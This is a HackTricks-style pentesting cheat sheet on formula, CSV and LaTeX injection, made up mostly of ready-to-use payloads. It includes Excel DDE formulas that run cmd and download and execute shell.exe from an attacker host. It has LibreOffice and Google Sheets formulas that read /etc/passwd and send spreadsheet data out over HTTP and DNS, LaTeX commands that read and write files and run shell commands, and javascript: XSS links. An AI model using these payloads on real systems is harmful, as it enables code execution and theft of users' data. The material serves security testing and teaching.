Skip to content

Latest commit

 

History

History
252 lines (175 loc) · 12.2 KB

formula-doc-latex-injection.md

File metadata and controls

252 lines (175 loc) · 12.2 KB

Formula/CSV/Doc/LaTeX Injection

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Formula Injection

Info

If your input is being reflected inside CSV files (or any other file that is probably going to be opened by Excel), you maybe able to put Excel formulas that will be executed when the user opens the file or when the user clicks on some link inside the excel sheet.

{% hint style="danger" %} Nowadays Excel will alert (several times) the user when something is loaded from outside the Excel in order to prevent him to from malicious action. Therefore, special effort on Social Engineering must be applied to he final payload. {% endhint %}

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Hyperlink

The following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. But it requires the use to click on the link (and accept the warning prompts).

Example taken from https://payatu.com/csv-injection-basic-to-exploit

Let us assume an attack scenario of Student Record Management system of a school. The application allows teacher to enter details of students in the school. The attacker get access to the application and want that all the teacher using the application to get compromised. So the attacker tries to perform CSV injection attack through the web application.
The attacker need to steal other student’s details. So the attacker uses the Hyperlink formula ad enter it while entering student details.

When the teacher export the CSV and click on the hyperlink then the sensitive data is sent to the attacker’s server.

CSV file exported contains malicious payload in it.

The details of student in logged in the attackers web server.

RCE

For this example to work it's needed to have enable the following configuration:
File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch
or the use of an old Excel version.

The good news is that this payload is executed automatically when the file is opened (f the user accepts the warnings).

It's possible to execute a calculator with the following payload =cmd|' /C calc'!xxx

More

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LFI

LibreOffice Calc

  • This will read the 1st line from the local /etc/passwd file: ='file:///etc/passwd'#$passwd.A1
  • Ex-filtrate it: =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Ex-filtrate more than one line: =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS Exfiltration: =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))

Analyzing the DNS ex-filtration payload:

  • ‘file:///etc/passwd’#$passwd.A19 – Will read the 19th line from the local /etc/passwd file
  • ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – URL encode the returned data
  • MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar to substring, read data from 1st character to 41st – a very handy way to restrict the length of DNS hostnames (254 character limit on FQDN and 63 characters for a label, i.e. subdomain)
  • SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – replace all instances of % (the special character from URL encoding) with dash – this is ensure that only valid DNS characters are used
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – Concatenate the output from the file (after the above processing has taken place) with the FQDN (for which we have access to the host that is authoritative for the domain)
  • WEBSERVICE – Will make a request for this non-existent DNS name which we can then parse the logs (or run tcpdump etc.) on the DNS authoritative name server for which we have control

Google Sheets OOB Data Exfiltration

Firstly, let’s introduce some of the more interesting functions.

CONCATENATE: Appends strings to one another.

=CONCATENATE(A2:E2)

IMPORTXML: Imports data from various structured data types including XML, HTML, CSV, TSV, and RSS and ATOM XML feeds.

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: Imports a RSS or ATOM feed.

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: Imports data from a table or list within an HTML page.

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: Imports a range of cells from a specified spreadsheet.

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

IMAGE: Inserts an image into a cell.

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

LaTeX Injection

Usually the servers that will find on the internet that convert LaTeX code to PDF use pdflatex.
This program uses 3 main attributes to (dis)allow command execution:

  • --no-shell-escape: Disable the \write18{command} construct, even if it is enabled in the texmf.cnf file.
  • --shell-restricted: Same as --shell-escape, but limited to a 'safe' set of predefined **commands (**On Ubuntu 16.04 the list is in /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Enable the \write18{command} construct. The command can be any shell command. This construct is normally disallowed for security reasons.

However, there are other ways to execute commands, so to avoid RCE it's very important to use --shell-restricted.

Read file

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Read single lined file

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Read multiple lined file

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file

Write file

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Command execution

The input of the command will be redirected to stdin, use a temp file to get it.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

If you get any LaTex error, consider using base64 to get the result without bad characters

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

From @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

References

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥